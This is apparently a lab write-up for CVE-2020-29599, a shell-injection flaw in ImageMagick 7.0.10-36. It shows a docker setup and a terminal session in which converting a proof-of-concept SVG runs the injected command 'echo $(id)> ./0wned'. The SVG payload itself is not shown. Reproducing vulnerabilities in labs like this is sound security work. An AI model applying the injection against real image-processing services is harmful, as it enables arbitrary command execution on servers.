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ImageMagick Shell Injection via PDF Password (CVE-2020-29599)

中文版本(Chinese version)

ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.

References:

Environment Setup and Exploit

Execute the following command to enter the Linux shell where Imagemagick 7.0.10-36 is installed:

docker compose run im bash

Enter the /tmp directory and convert the format of poc.svg to trigger the vulnerability:

root@f200ec9e1c1e:/# cd /tmp/
root@f200ec9e1c1e:/tmp# ls
poc.svg
root@f200ec9e1c1e:/tmp# identify poc.svg
poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
sh: 1: : Permission denied
convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
Aborted
root@f200ec9e1c1e:/tmp# ls
0wned  poc.svg
root@f200ec9e1c1e:/tmp#

The command echo $(id)> ./0wned has been executed successfully: